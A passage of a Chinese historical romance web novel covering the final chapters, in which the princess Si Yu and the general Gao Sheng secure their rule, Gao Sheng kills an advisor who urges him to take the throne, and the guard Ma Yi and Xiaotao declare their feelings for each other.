正?好那时豫州捷报传来, 高盛大败屈继先,斩下屈继先人头。 昌乐在宫中,原本偶有后悔当初出卖太后,也会默默怨恨姐姐的?心狠, 但在得到消息那一刻,她突然?不怨了?。 至少姐姐能维持京城安定, 不会让人闯进宫中烧杀劫掠, 至少高盛能替她杀了?屈继先, 别人能吗? 母后与皇上皆无?能,真听了?皇后的?, 到时作主是皇上,还是皇后, 或是李琚? 算了?吧,她是傻了?才会不相信姐姐,而?相信他们。 高盛回京那一日, 司妤派朝臣与禁军在城中大张旗鼓夹道相迎,并当场晋封高盛为广平王, 掌天下兵马, 并为右相, 决断国事。 与上次的?刻意?打压不同,这是的?封赏几乎到顶了?, 竟让他做了?大兴第一位异姓王,他若再有战功,几乎是赏无?可赏。 高盛早在通信上得知京城发生的?事,他儿子险些被捂死,好在她这做娘的?还不算糊涂,杀了?皇后父女。 他也知道,她这一杀,几乎就是作出了?决定,不再还政于皇上了?。 他在殿前叩拜:“谢皇上,谢公主隆恩。” 皇上看司妤一眼,局促道:“爱……爱卿平身。” 高盛抬头,在大殿台阶下望向司妤。 司妤也看着他,两人目光对视,神色却是沉静。 觐见完,高盛回公主府,去看已?经蹒跚学步的?小嘉,小嘉并不认识他,见了?他一脸嫌弃,直往奶娘怀中躲。 高盛骂了?一句:“臭小子。” 回头想起他竟差点?因自己的?鲁莽而?丧命,忍不住不由分说?,强行将孩子从?奶娘手?中接过,抱在怀中。 他当时去宗□□也没想过,此事会让他人警觉,意?图直接杀了?小嘉。 好在这孩子命大。 小嘉在他怀中一边推他一边大哭,他也不管。 奶娘在一旁看着,很是无?措。 司妤回公主府时,还在门?外就听见小嘉在大哭,急匆匆赶到院中,看见奶娘正?在哄小嘉,高盛在一旁笑。 司妤问:“怎么了??” 奶娘犹豫一会儿才笑道:“小公子大概是……才看到亲爹,紧张。” 这话说?得委婉,但司妤一猜就知道多半是高盛给弄哭的?,奶娘不好说?,要不然?她会说?得详细一些。 司妤看向高盛:“干什么呢,一回来就逗哭孩子,我在门?外就听见哭声。” 高盛一副无?所谓的?态度:“不过是抱抱他,就他自己胆小。” 小嘉此时向司妤伸手?,司妤便上前抱,笑道:“哎呀,你长这么胖,娘快抱不动你了?。” 小嘉骨架大,又是幼年最?胖的?时候,抱他实在是要些力气?。 司妤一抱,慢慢的?他就不哭了?,嬷嬷拿个风车过来,他很快就被吸引,下地去玩风车。 司妤便与高盛一同回自己院中去。 一种往屋内走,司妤一边问:“上次说?差点?中箭,是不是真的?只破皮?没受伤吧?” “没有,就是擦过,再说?中了?也不怕,我身上有铠甲呢,射不深的?。”他说?。 随后问:“京中现在还算安定?” 司妤点?头:“上次让卢慈率军在京郊驻扎一个月,已?经让他回驻地了?。” “没想到京中会出事,辛苦你了?。”两人走到房间门?前,他一边说?着,一边伸手?牵起她。 陡然?被牵起,司妤微微一顿,只觉有什么东西从?他手?中流向自己这边,让她心旌一动。 她摇摇头:“还好,也没什么辛苦的?,这些日子……我也没去见过母后,就这样吧,看开了?就好,也没什么好说?的?。” 两人一起进了?屋,面向对方,四?目交汇。 高盛伸出一只手?来,将门?关上。在门?阖上那一刻,一把将她拽至身前,狠狠吻住。 六月骄阳似火,蝉鸣阵阵。 直到抵及,他才舒了?一口气?,有功夫说?话:“别难过,她在意?的?是她的?亲生儿子,你还有我,有小嘉。” 司妤却不说?话了?,一下下急促呼吸。 后来,他唤她一声,“公主……” “嗯?” 他再次长出一口气?,认真道:“你永远不知道,你能让我多快活。” 她竟被他说?得脸红了?,不知说?什么。 反正?她说不出同样直白的话。 直到天黑,两人才依偎着,躺在床上说话。 “所以,你作好了?决定,让小嘉姓司?”他问。 司妤“嗯”了?一声。 高盛抚着她头发安慰道:“没事的?,这是最?好的?结果,如当时京中的?情况,但凡你晚一步,也许李琚就宫变了?。” “我没事,以前的?我也确实执念太深。” 高盛奇怪了?,他以为做这个决定她心里会很难受,却没想到她会这么平静。 “怎么就突然?变了?,之前还死活不愿意?的?。” 司妤道:“因为宋之洵给我讲了?一件事……” 她才开口,高盛就从?床上坐了?起来:“你又提他,为何一直留着他,他对你来说?就这么重?要?” 司妤有些无?奈,解释道:“他不是对我重?要,他是对朝廷重?要,我和你也说?过日后的?科举推行,是需要他的?。” “这事你让别人做也可以,何必非要让他?” “这是他设想的?,是他提出的?,他会大力推进此事,事情便成功了?一半。” 高盛看她:“你可知京中如何传你们?” “所以你信了??”她反问,这反问中竟还带着几分质问,就好像说?,“如果你信,就是你多疑,对我毫无?信任。” 这让高盛犹豫了?,缓和语气?道:“不管信不信,这就像我去了?青楼,告诉你我什么也没做。” “这怎么能一样,只能说?这就像你帐中来了?个女谋士,被些兴风作浪的?人传……” 司妤说?一半停下了?,她发现就算是这样,自己也会怀疑,会介意?。 兴许也会质问他:天下的?谋士都没了?,就缺她这一个? 于是原本想和他分辩几句的?念头瞬间打消了?,她缓缓抚过他胸膛,靠到他肩头:“你要是不相信,可以安排个丫鬟随侍我身边,我去哪里她都跟着,让她盯着我是不是和宋之洵在谈论国事,这总行了?吧?” 这的?确是极大的?诚意?了?,倒让高盛有些不意?思,觉得这已?经算是监视,他还没丧心病狂到要找人监视她的?地步。 “那……倒也不必如此。”他拒绝了?。 司妤又将他抱住,贴住他近乎撒娇道:“那你想怎样?” 随后看向他:“你知道我为何留他?他和我说?,无?论小嘉为帝,还是我为帝,亦或是你为帝,他都支持辅佐,只要天下能早日太平。 “你知道严淮或是临汾王那批人,他们是忠于皇室的?,却不是我,焉知到了?以后他们会不会支持小嘉?所以似宋之洵这样的?人,我们不是得大力培养?至少真到了?那时,他们这些人的?力量得和朝中那些老臣平分秋色才是。 “战乱不止,民不聊生,你就当是为了?天下百姓,为了?以后小嘉拿到手?中的?是个太平安稳的?天下,而?不像现在。” 高盛有些要被她说?服了?,明明就是男女感?情的?事,她现在竟然?扯到了?天下百姓,扯到了?小嘉的?未来,就好像他要是揪住不放,那就是天下的?罪人。 他问:“所以你不会杀他,不会罢免他,还会提拔他,甚至将他当成严淮的?后继者?” 这也就是,要和他打一辈子交道了?。 司妤道:“不是我,是我们。我们提拔他,重?用他。” 高盛见到他就膈应,并不想重?用他。但他无?法反驳司妤,这样显得自己小家子气?。 他还僵持着,司妤看出他态度已?经没之前那么强硬了?,又哄道:“你是天下英主,是由你驾驭他,介意?他做什么?” 说?完,扶着他的?肩坐到了?他胯上。 高盛不由得往后躺,他算是明白了?,她这是把美人计也使上了?。 他很清醒,也清楚自己中了?这美人计,但无?力挣扎,无?可奈何,只怪自己毫无?抵抗力。 什么天下英主,英个屁的?主,他就是个贪恋美色的?庸主。 她发丝飞扬的?样子可真美。 翌日一早,高盛还在床上就和司妤道:“待会儿带你见几个人。” “什么人?” “美人。” 司妤从?床下转眼看向他。 高盛笑道:“真是美人,从?屈继先府邸带回来的?。” 司妤很奇怪,不知他打的?什么主意?。 直到她看见那几个美人。 一起四?个,是几个十六岁上下、长相偏阴柔的?美貌少年,这几人都是被屈继先收罗进府上的?乐伶。 高盛道:“把他们送进宫中吧,弹弹琴,唱唱小曲,给陛下排忧解闷。” 司妤看他一眼,转身出了?屋,径直去园中,站在了?园中一方水池边上,纡解着心中那一股怨恨与闷气?。 高盛从?里面追出来,问她:“怎么了??” 司妤恨声道:“你卑鄙,龌龊!” 高盛只是静静看着她,过了?一会儿,说?道:“既已?作出选择,就要一条道走到黑,你可以不插手?,让我去做。” 司妤不说?话,看着面前池塘的?水面,想起当初父皇沉溺享乐,误信奸臣的?悲哀,又想起这些年为教导弟弟付出的?心血,几乎哽咽。 高盛见她如此,什么也没说?,将她揽至怀中。 她靠了?一会儿,冷静下来,说?道:“刚才是我不对,不该那样说?你……” 高盛笑了?笑:“没事,这话你也不是第一次骂。” 司妤想起来,他这人真龌龊起来,确实配得上这顿骂。 于是不再纠结此事了?,和他道:“就留一个吧,我放进宫中乐班里,其余人是愿意?归家,或者自愿进宫,看他们自己的?意?思。” 里面有一人,竟神似当初被她斩杀的?那个娈童,当初她因此而?大发雷霆,如今却亲手?将一个和他相似的?人送进宫去。 她看着自己的?手?,觉得那手?已?在一点?一点?变黑。 只有想起菜人,才能将这种自责与愧疚消弥。若天下再无?菜人,就算黑了?这手?,黑了?她的?心,又有什么关系? 那位美少年有个寓意?很好的?名字,叫忘郁,名忘郁,却十分文静,有一种郁郁寡欢的?气?质,而?且他擅长吹埙。 埙声古朴悲壮,当他吹起埙,会让人不觉动容,潸然?泪下。 他一进宫,就得了?皇上的?宠爱。 皇上将他调至身边,让他随侍左右,自己也学起了?古琴,日夜在未央宫内与忘郁合奏《伯牙悼子期》。 司妤为让弟弟学为君之道、学兵法骑射,换了?好几个老师,费尽心血检查监督,弟弟却始终学不进,现在只是随便调了?个乐伶进宫,余下的?什么都没做,弟弟就沉溺在情人的?温柔中,短短几天就学会了?古琴,连乐府那些官员都觉得陛下弹得挺不错。 她不知是觉得悲伤,还是高兴。 第69章 第 69 章 除从?豫州带回几?名乐伶, 高盛归京后做的?第一件大事就是将成天?聚集在一起清谈的?太学学子抓了几?个?,后来在长公主过问下,太尉府将人放了, 但经?此一事, 京城显得格外安静。 小嘉仍然叫小嘉,没有大名, 公主府说等念书了再取名不迟。 几?日后,各军区守将到太尉府述职。 最后剩下几?名亲信时,卢慈实在憋不住,直接问高盛:“大哥, 小嘉要?姓司,是为……那个?, 真是的?吗?” 当初为防李琚作乱, 他是亲自率军防守的?, 而皇后之罪,昭告天?下的?圣旨是说她得知白鹤降临, 认为长公主之子受了上天?指示,将为未来君主, 心生怨恨,于是意图谋害,所以才受诛杀。 这?圣旨, 明着是说皇后父女捕风捉影,居心叵测, 实则却是告诉所有人, 长公子之子两次招来白鹤, 这?是上天?的?旨意,将来要?做天?子。 连皇后都信了, 要?不然怎么会去谋害呢? 而且长公主之子没事,那不就证明这?是天?命所归吗? 卢慈抓心挠肝,想要?一句准话。 高盛笑了笑:“那个?是什么?什么时候你说话也吞吞吐吐起来了?小嘉是不是姓司,也都是后话,这?不还?小么,我要?给他取个?惊天?动地的?好名字,却没想到。” “那……以后……”卢慈挠了挠头,不知怎么说。 南方已有将领归顺,也有许多南方人渡过长江来京城谋职,也许一统天?下还?真不是太遥远的?事, 一旁的?李风华却是听出来了,问:“太尉是立志做忠臣良将,辅佐长公主匡复大兴,再绵延国?祚数百年?” 高盛回道:“身为大兴臣子,辅佐长公主,报效朝廷,有何不可??” 李风华静静看着他,半晌痛心道:“属下原以为……太尉雄才大略,有鸿鹄之志,如今才知,太尉竟沉溺在温柔乡,甘愿将唾手可?得的?江山拱手相让,不得不叫属下寒心!” 高盛回道:“的?确仗是咱们打赢的?,可?如今朝廷安稳,四方归顺,你们以为是这?太尉府的?功劳么?不,依然是太兴二?百年强盛换来的?民心!还?想改朝换代,要?么沦为反贼灰飞烟灭,要?么还?要?争战数十年,这?是你们想要?的?吗?” 李风华道:“太尉如此,岂不是未战而先言败?上天?既造就如太尉与我等这?番人才,便是要?我们做出一番业绩,我们为何不顺应天?命抛却性命大干一场?为何要?屈居于一介女流之下,做个?无名之辈?我只问在座众人,甘心么?” 高盛神色严肃起来:“公思,你此言已算扰乱军心。” 李风华道:“不是我扰乱军心,是太尉被长公主迷惑了心智,大错特错,是为飞龙,却不直上九霄,而要?缩在泥地做个?土龙,怎不教人痛心!” 高盛沉默,李风华继续道:“经?年之后,太尉必会悔恨今日。我今直言,若太尉情愿放弃壮志,屈居人下,我宁愿另觅明主!” 高盛转过头去,在屋中踱了几?步,似乎是在思考,随即待走到李风华身前,背朝他时却突然拔刀后刺,没回头,一刀已刺入李风华腹中。 他没有看他,随即抽刀,李风华气绝倒地。 卢慈柴进绪等人噤若寒蝉,都被这?一幕怔住。 虽说他们是与太尉出生入死的?兄弟,但他们心里也知道,太尉更敬重李风华,许多时候几?乎对他言听计从?。 李风华也从?未让人失望,总能?有奇计巧谋,让他们这?些?莽汉无不折服。 他们也曾想过,如果有一天?太尉问鼎天?下,李风华就是丞相,地位说不定还?在他们之上。 可?现在,一切发生得如此突然,李先生已是一具尸体。 高盛仍提着刀,刀口滴着血,他看向众人:“太尉是大兴的?太尉,太尉府是大兴的?太尉府,食君之禄,忠君之事,今后谁再敢有此违逆之言,杀无赦!” 屋内一片安静,连彼此沉着的?呼吸声都能?隐隐听见。 如此静默许久,直到卢慈站出来,抱拳道:“属下遵命,唯大哥马首是瞻!” 陈滔与柴进绪也上前道:“唯太尉马首是瞻!” 其余亲信亦都表态,遵太尉之命。 震慑完众人,高盛看向地上的?李风华,沉声道:“将此人带下去,就说因他诋毁公主,被我斩杀,念其有功,予以安葬。” 李风华尸体被带下去。 从太尉府出去时,一阵南风,吹熄了太阳,阴云满天?,树叶飞舞,天?地一片昏暗。 他终于明白了司妤的?感觉,他也无路可?走了。 他们都亲自斩断了自己的?另一条路,割舍掉了出发时的?初心——只为了和?对方的?未来汇成一条线。 所以将来,他们都只有对方了。 太尉府离得那么近,很快司妤这?边就得到了消息,明明是太尉府中流砥柱的?私密会议,最后却有人被抬着出来,而且还?是极受太尉尊敬的谋士李风华。 听说是被一刀刺死。 如他这?地位,谁敢杀他?除了高盛自己。 高盛杀了李风华……司妤觉得自己能?揣测到原因。 这?次太尉府群英聚集,必然会提起前面皇后之变的?风波,也会提到小嘉是否真的?要?姓司,提到那传得沸沸扬扬的?白鹤呈祥是什么意思。 兴许是在这?件事上,李风华与高盛唱了反调。 所以高盛毅然杀之,表明决心与态度。 高盛晚一些?才回来,神色肃穆,整个?人都比以往沉静。 司妤在榻上看书,此时放了书,抬眼看向他。 他静静走过来,往榻上一坐,仰面躺下来枕到了她腿上,长长叹了一口气,似乎有些?累。 司妤伸手抚了抚他脸庞鬓角,温声道:“累了就休息一会儿,去床上躺一躺。” 高盛看着她手上的?书,突然问:“我想起来,你之前在信上说想给我做件衣服的?,衣服呢?” 司妤有些?意外,“我以为你心里想的?是李先生。” 高盛轻轻叹了声气:“想,但想得不多,又能?如何,那是唯一的?选择。” “是为何事?” “他说我沉迷女色,没有雄心壮志。” 司妤安慰他:“称帝才是雄心壮志么?为了天?下安定而甘愿放弃称帝,那才是真正的?雄心壮志,真正的?仁君。” “不,他说得对,我有大半是舍不得你。”高盛道:“为了帝位而争,为了天?下而争,或者为了女人而争,没什么高下,我愿意就行了。我就是个?沉迷女色的?人,那又如何,输赢全靠本事。” 司妤被他说得哑口无言,输赢全靠本事,他倒看得开。 她便佩服他这?点?,干脆而又磊落,全心全意做自己想做的?。这?事要?换了她,一定还?要?在心里放上好几?日,思来想去,要?为自己找个?冠冕堂皇的?理由才作罢。 她想说,其实换了是别人,她也不一定甘心去嫁、不一定愿与他扶持一辈子,只因是他。 但话出口,却是突然道:“我给你做个?手帕吧,怎么样?” “不是衣服吗,怎么变成了手帕?”他问。 “衣服……费时,我不是没时间么,再说好久不做,可?能?做得很丑,穿不上身。” 高盛回道:“但我不要?手帕,我又不用那玩意儿。” “你现在好歹是个?王爷,手帕怎能?不用?吃饭了拿袖子擦么?” “你这?还?嫌弃上了?怎么,要?拿宋之洵的?模子来刻我?” 司妤被他这?想法逗笑了。 “你想的?可?真多。”她道。 她已经?忘了自己刚才还?在心里夸他磊落呢! 他从?下面看着她:“你给我做双鞋吧。” “哪有那时间,做鞋要?纳鞋底,比衣服更费时。”她说。 高盛一想也是,不只没时间,就算做了他也舍不得穿,在外行军可?太费鞋了。 司妤说:“给你做个?香囊怎么样?” “不怎么样。”他很快回,“你见我戴过香囊吗?就宋之洵戴那东西,你是不是梦里都想嫁给那样的?人呢!” 司妤一边轻笑,一边又板起脸:“算了,这?不要?那不要?的?,算我当时多嘴,那别做了。” 高盛否定:“那肯定做呀,我们不是在挑么,怎么就变成不做了,香囊可?以,就香囊。” “说得那么勉强,你又不戴,做了干嘛?” “怎么不戴呢?我们成亲那天?不是有个?结发礼,剪头发了么,到时候我把我俩头发放里面去,我就把香囊放身上,你说好不好?” 司妤从?这?话里竟觉出了几?分柔情似水、海誓山盟的?意味,她一低头,脸上露出几?分羞怯地笑意来。 他便从?下面摸她光滑的?下巴,她的?脸,柔声道:“你给我绣对戏水鸳鸯。” 司妤有一种被调戏的?感觉,她忍不住摸他的?丰润的?唇:“我想绣什么绣什么。” “那行,你要?绣对□□也行,多子多福。” “谁跟你多子多福。” “就要?小嘉一个?的?么?再给我生个?儿子吧,小嘉姓司,他姓高,也给我家续个?香火。” 司妤道:“你不是上门女婿吗,要?续什么香火?” “那是看上你们家的?皇位,在我心里,你还?是我们老高家的?媳妇,我还?想什么时候带你去我爹娘坟前磕头呢。” “我是公主,不用给谁磕头。”话是这?么说,但她实则也从?心底好奇与感激那未曾谋面的?公婆,不知他们是什么样的?人,竟能?养出高盛这?样的?儿子来。 他于她来说,就是天?神。 “哪有你这?样的?,就算是公主,也要?给公婆磕头。我弟弟为救你死的?,我让长子随了你姓,你再还?我个?儿子,天?经?地义。” “说了生儿生女作不得准。” 高盛想说,“那就多生几?个?,总有儿子”,再一想,生孩子也辛苦,便妥协道:“女儿也行,给她招个?女婿,一儿一女,总可?以吧?” 司妤笑笑不说话。 高盛却是有些?困了,就这?么躺着躺着,睡了过去。 她书不知何时掉了下去,想去捡,却又不忍心弄醒他。 是的?,他这?两日睡得晚,起得早,李风华的?事大概也让他耗心神。 但是,难道要?就这?么干坐着让他睡吗?那多浪费时间,她原打算今天?看完手上的?书的?。 犹豫好久,还?是没去推他。 她发现自己愿意这?样“浪费时间”,就这?么和?他腻在一起说半天?废话,什么都不做看他睡觉,似乎也很好。是她向往的?,悠闲恬静的?日子。 第70章 第 70 章 …… 京中?平静后, 马毅被司妤调去蓝田军区任军侯,下辖五百人,因那边是李琚旧部, 李琚新?死, 为?约束李琚旧部,便从京中?调派了许多各级将领过去, 马毅便是其一。 马毅领命离开前一天,小桃叫住他,递给他一个纸包,随口和他道:“这是我?房里剩下的点心, 不?怎么好吃,但耐放, 听说你要出门, 正好给你在路上吃。” 马毅就没吃过包得这么好的点心, 下意识就推拒道:“县君,我?……” “你若不?要, 我?就只?能扔了。”她说。 马毅没再说话,被她将点心塞在了手上。 其实?他想说, 怎么会?扔呢,给身边丫鬟也可以的,但他没说出来, 小桃将点心塞他手里,他无措地接住。 “一路当心啊。”她笑着交待。 马毅点头, 最后道:“多谢县君。” 他揣着点心回去, 在公主府的侍卫通铺上将外面的纸包打开, 里面的点心竟然是做成花形的,那面极细, 一看就是用白面做的,带着红豆,好像叫红豆糕。 他看着都不?敢咬。 正要包起来,旁边有人问:“哟,这点心好看,哪儿来的?” 马毅愣了一会?儿才回答:“买的。” “你买这个?挺贵的吧?送人?”那人知道他要走了,突然促狭道:“你不?是会?看着要走了,买来送哪个姑娘的吧?” 马毅没回话,就看着他一副呆头呆脑的样子。 “还真是啊,要送谁?”那人问。 马毅这才回过神?来,连连摇头,“没有,不?是。” “那你买来做什么?” 马毅又?没话。 侍卫却已笃定他是不?好意思说,笑道:“行了,我?明白了,不?愿说,行,你去送吧,你都要做军侯了,前途大大的好,人家会?收的。” 从公主府调去军区,不?算升迁,因为?军侯职位不?算太高?,外面的日子也比公主府要苦,但谁都知道,这代表着公主的信任,将来必定升迁。 所?以侍卫在说后面的话时,也十分诚恳,当然他平时也算挺和气一个人。 以至马毅一句话憋在喉间,很想说问他一件事。 如果这不?是他买的,而是一个姑娘送给他的,是什么意思呢? 当然,那是个不?缺点心的姑娘,她自己说不?好吃,但是……他还是觉得很贵重,觉得姑娘是特地送给他的。 想问,又?怕对方问个究竟,还怕他传出去,更怕他逼问他那姑娘是谁。 最后直到侍卫出去巡逻,他也没说出口,还是选择将这事藏在了心里。 也许是他多想,人家县君明明说了,不?好吃,但耐放,这是给他做干粮。 但是,很不?合情理,再不?好吃,也不?至于给他。 可再不?合情理,也没他痴心妄想的那样不?合情理,县君是什么身份,他又?是什么身份,人家又?没瞎,怎么可能看上他? 最后的分析打败了前面所?有的不?寻常,他觉得就是自己想多了。 但那点心他舍不?得吃,悉心收在随行包裹里,用衣物层层包裹,外面放的是他准备好在路上吃的烧饼。 第二天他就走了,等回来时县君多半已经许配好了人家吧。 …… 日子过得飞快,两?个月过去,将至中?秋,马毅从蓝田回京述职。 在公主府拜见过司妤,和司妤说了蓝田军中?情况后,司妤表示赞许,随后却突然问他:“我?记得,你如今好像是二十五?” 马毅道:“禀公主,已经二十六了。” “还未婚配?” 马毅不?明情况,摇摇头:“还未。” 司妤微带笑道:“那你是否有成亲的打算?我?把我?身边宫女许配给你如何?你认识如绵吗?” 马毅愣了,很久没说话。 司妤却似乎只?是随意提起,很快道:“你可以好好考虑,到明日你去蓝田之前再回复我?。” 马毅立刻低头回:“是。” 他不?傻,知道公主表现得无所?谓,可堂堂长公主,怎么可能随意去拉媒?他在公主府那么久,也没听说公主替谁做过媒,她分明就是思虑之后的,而且将自己身边的宫女许配给他,这是明明白白的信任,如当初公主府那些侍卫所?说,公主会?重用他、提拔他。 他应该表示出欣喜,马上答应的,可他却犹豫了,公主何等聪明之人,怎会?看不?出他的犹豫?所?以说让他再想想。 他不?知道该怎么想,只?是那一刻他想起的是放在蓝田军营那一包临近放坏才尝了几个的红豆糕,天上美味一样的好吃,他却没舍得吃完,留了两?个放着。 他不?知道,县君给那个他是什么意思。 但是,这又?有什么关系?难道他要去和公主说,我?不?要公主身边的宫女,公主能不?能把县君许配给我?? 公主再看得起他,估计都得当场将他押下去斩了。 明日就回军营,他和曾经的侍卫总管说了一声,侍卫总管允许他在公主府的班房内留宿一夜,第二日出发。 他身上有一瓶薰醋,蓝田那里一个小摊子卖的,摊主是西凉人,说这是凉州人最喜欢的一种醋,家家都吃过。 这醋还卖得不?便宜,但他买了一瓶,虽然并不?知道买来做什么。 就这样到下午,他和以前认识的侍卫说自己闲着也是闲着,不?如和他们一起去巡逻站岗,他们觉得他有病,他自己也觉得自己有点,谁知道他想干什么呢? 他就跟着侍卫们一起巡逻,好几次路过后院门口。 快到傍晚时,县君竟从那门里出来,一抬眼,见到了他,意外道:“马毅,你回来了?” 马毅很快上去:“禀县君,属下回京述职,明日再回。” 王小桃一笑:“这么急。我?听说你将有喜事了,恭喜。” 马毅一听便知她说的是公主要给他指婚的事,一时有些无措:“我?……” “我?”了半天,也不?知道说什么。 王小桃身后的嬷嬷催她:“县君,不?是说要去隔壁拿东西吗?” 王小桃这才离开,经过步道,去了隔壁的太尉府。 马毅在原地站了好久。 直到傍晚,他回了侍卫班房,直到一夜过去,他将与其他几名?回京的军侯一起离开。 似乎自己落下了很重要的东西,又?似乎没什么。 要离开时他还揣着那瓶薰醋。 走到半路,却见王小桃身边的丫鬟从太尉府提着篮子过来,那篮子里装的石榴。 的确今天是中?秋,许多地方要备上瓜果,公主府的树才种下,没长什么果子,倒是太尉府的果子好一些。 那丫鬟走到围墙边上,似乎又?想起了什么,放下篮子,转身回去了。 他看着那篮子,觉得这就是上天给自己的旨意。 就在那儿伫立好久,犹豫好久,直到丫鬟都要回来了,他过去将那瓶薰醋放进了篮子里,用石榴盖住。 之后他就与其他人一道赶赴蓝田了。 一路走,一路都觉得自己干了一件特别蠢的事。 石榴根本盖不?住一瓶醋,丫鬟在路上就发现了,一路疑惑着回了小桃院中?,说今天奇了怪了,有人趁自己不?在,往篮子里放了瓶东西。 丫鬟们都过来看,因为?有小嘉的事,便有人说,“不?会?是毒吧?” 这话把人吓一跳,但很快有人问:“谁会?这样下毒?” 的确,而且没见过这么一大瓶毒的,那瓶子,说是一个小坛子也行。 翠儿是大丫鬟,觉得自己有必要弄清楚,于是拔了瓶塞想看个究竟,一拔就是一股醋味儿。 这下子明白了,是醋。 但是,谁放的醋?醋里有毒吗?这醋她们是吃了还是放着?再说不?明来路,真敢吃吗? 直到小桃过来,一眼看出,“哎呀,这味道是薰醋呀,你们在哪里弄的?” 丫鬟于是说她莫名?得到一瓶醋的事。 说完翠儿问:“你当时身边看了有别人吗?” 丫鬟摇头:“没有,没见到,有几名?巡逻的侍卫,但我?觉得……和他们应该没关?。” 小桃却是一言不?发,将那醋瓶子拿在手里看了好久。 她从未想过终身不?嫁,当斩断和宋之洵的关?系后,她也在听从表叔的话,想自己的终身大事。 公主问过她几回,有几次京中?官员家里的红白喜事,还让她代表太尉府或是公主府去凑份子送礼,由?公主身边的嬷嬷陪着她。 回来之后,嬷嬷还问她的意思,有个张家夫人的侄子,还有个李家的三公子,如何如何,她是否有意。 她却越来越觉得兴趣索然,她很清楚别人看中?的是什么,尽管马毅说太尉侄女这个身份比外貌与年轻还要稳固长久,但她还是不?想。 后来她就想到了马毅,她发现其实?自己在他面前才是最自在最安心的,他话不?多,却能安慰她;他心思纯净,她不?用担心他在心里评论她;而且那时候公主将小嘉托付给她,自己去了宫里,她不?知多紧张多担心,整个人都在哆嗦,心怦怦直跳,直到马毅看出她的紧张,和她说:“县君不?用担心,公主让属下保护县君。” 看到他眼中?坚毅的眼睛,她瞬间就不?怕了,觉得很安心。 后来有一次,她在园中?看见公主和表叔走在一起,表叔不?知说了什么,公主回头,脸上露出少女般欢喜又?娇羞的微笑。 当时她怔了一下。 因为?她一直弄不?清公主和表叔的关?系,辈分与身份的原因,她既不?敢去问表叔,也不?敢去问公主,只?是猜测他们是交易,各取所?需。 那些公主与宋之洵如何如何的流言她也听到过,那时候她已不?再为?宋之洵难过,却为?表叔担心,直到后来表叔回京,竟与公主一点事都没有,外面那些传言又?莫名?平息了。 她还以为?,公主是宋之洵的梦中?情人,而宋之洵是公主心底的遗憾。 直到那天她看见公主与表叔在一起那个笑容,她突然明白,其实?公主也许是爱表叔的呢?她从未在别处看见公主露出那样的笑,公主一向?是端庄的、内敛的、沉着的,甚至是威严的,就算偶尔笑,也是一种礼仪般轻轻的笑。 她是公主,担着一国政事,她不?可轻佻,不?可玩笑。 但在表叔面前,她却会?露出属于少女的、女人的那样柔情羞涩的笑。 那时小桃突然明白,如公主这么美的一个人,她的确有很多选择,论家世才学,的确表叔配不?上公主,但谁又?能像表叔一样给她那样强有力的依靠? 公主要的,也是一个安心吧。 那时她莫名?就想起了马毅,她突然想,如果自己选马毅呢? 曾经不?懂事时,仰慕宋之洵那样的贵公子,后来思来想去,想选择那个保护了自己许多次的人。 但这想法太诡异,她不?能接受,所?以放在心里很久,可哪怕放了很久,想法也没淡去,反而因为?马毅要被调离了,她开始慌起来。 她之前就上过当,表叔问她是不?是有意宋之洵,她不?好意思,但承认了,回头亲事就订了。 这次她有那样的想法,但还是想看看马毅的意思,也许马毅攒钱是因为?已经有看中?的人了呢? 所?以她才想来想去,送了他一包吃食。 这种东西,亲人能送,外人能送,不?至于那么突兀。 他被迫地接了,然后走了,然后就没有然后了。 她觉得他虽嘴不?伶俐,但并不?傻,一个女人莫名?给他送东西,他肯定要在脑子里想一想吧。 但他没反应……当然他也不?在京城,没法反应。 可这次他回来,也没有要和她说话的意思,又?是她找机会?去和他“偶遇”了一次。 “偶遇”过后,她已经心里有底了,多半是自己异想天开,人家没往这上面想过。 可现在,她看到了这瓶薰醋。 薰醋是凉州才有的啊,京城极少见,至少她没见到过。 她总觉得可能是他,但又?想象不?出,他出于何种目的要悄悄放在丫鬟的篮子里,他不?怕别人给他扔了吗? 而且他既然对她没反应,是不?是已经答应公主娶如绵了? 如绵是精挑细选的宫女,其实?是很好看的,至少比她要好看,还是公主身边的人,马毅没有理由?不?同意,昨天她恭喜他,他也没反对。 “县君,你怎么了?” 见小桃一直愣着不?说话,丫鬟问。 小桃很犹豫,犹豫一会?儿,看看外面的天色,太阳已经升得老高?,马毅说不?定都出城了。 她突然道:“我?出去一趟。” 丫鬟不?知她要出去做什么,待反应过来时,她已经出了屋,丫鬟只?得立刻跟上。 小桃跑出了门外,坐上马车就往南城门方向?赶。 马毅这一行四人是骑马进京的,但京城街道不?许跑马,几人为?了方便,牵着马走去城门,小桃的马车正好赶在城门口追上他们。 她从马车内出来,探头朝外面喊:“马毅,等一等——” 马毅吃惊,立刻回头,竟见她的马车驶到跟前来。 第71章【正文完】 第71章 第 71 章 其余人也都没上马, 看向这辆马车。 一见这么多人,小桃也愣了,但已经追到这里来了, 她总不能再回去?。只好说道:“我有话和你说。” “县君……”马毅脸上有些发烫, 他很担心那?瓶薰醋被发现了,其实他可?能是希望被发现的, 但现在心中恐惧不已,就像是做了什么错事。 小桃与?他走到城墙角,问他:“小红篮子里那?瓶凉州薰醋,是不是你放的?” 马毅迟疑了, 开始后悔自己?干这样的蠢事,支吾半天也不开口, 额上都开始冒冷汗。 下一刻她却又问:“你知道我年纪大了, 还成过一次亲, 表叔说这次一定给我定下来……总之?我就是想问,如?果我找你, 你愿意吗?” 马毅很久没出声,他觉得脑子“嗡嗡嗡”的, 也不知道面前发生的是真是假。 见他这样,小桃又觉得自己?鲁莽了,于?是问:“你是不是, 已经答应公主了?” 这会儿马毅反应过来,很快摇头:“没有, 我拒绝了, 同公主说专心在军中立功, 暂时不成亲。” 小桃怔神地看着他,但马毅又赶紧道:“我不是说县君, 我……” 他不知道说什么,但他知道自己?刚才那?话,也就是拒绝县君了。 一股急切与?冲动直冲天灵盖,他没有太?多时间思考,只好道:“我愿意。” 这回的,就是她刚开始问的那?一句。 小桃便也不知道说什么了,不好意思地一笑,而后又觉得自己?耽误了他这么久,旁边人还等着,便道:“那?你去?吧,路上小心。”说着就跑回去?爬上马车,都不带停顿的,立刻就让车夫往回走。 她回得太?快了,马毅抓了抓头,都疑心自己?刚才做了一场梦。 但马车真切地在他目光中渐渐远去?,提醒他这是真的。 他缓缓走到城门?口,面对着三双军士的眼睛。 虽然他们?没听到小桃和他说什么,但猜也能猜个大概。 已有人啧啧称奇:“刚才那?是太?尉的侄女儿?就是那?个……长庆县君?看不出来啊,你小子,这么有能耐。” 马毅低头,勉强扯出一个笑,他还不知道怎么办。 然后呢?回蓝田去?吗? 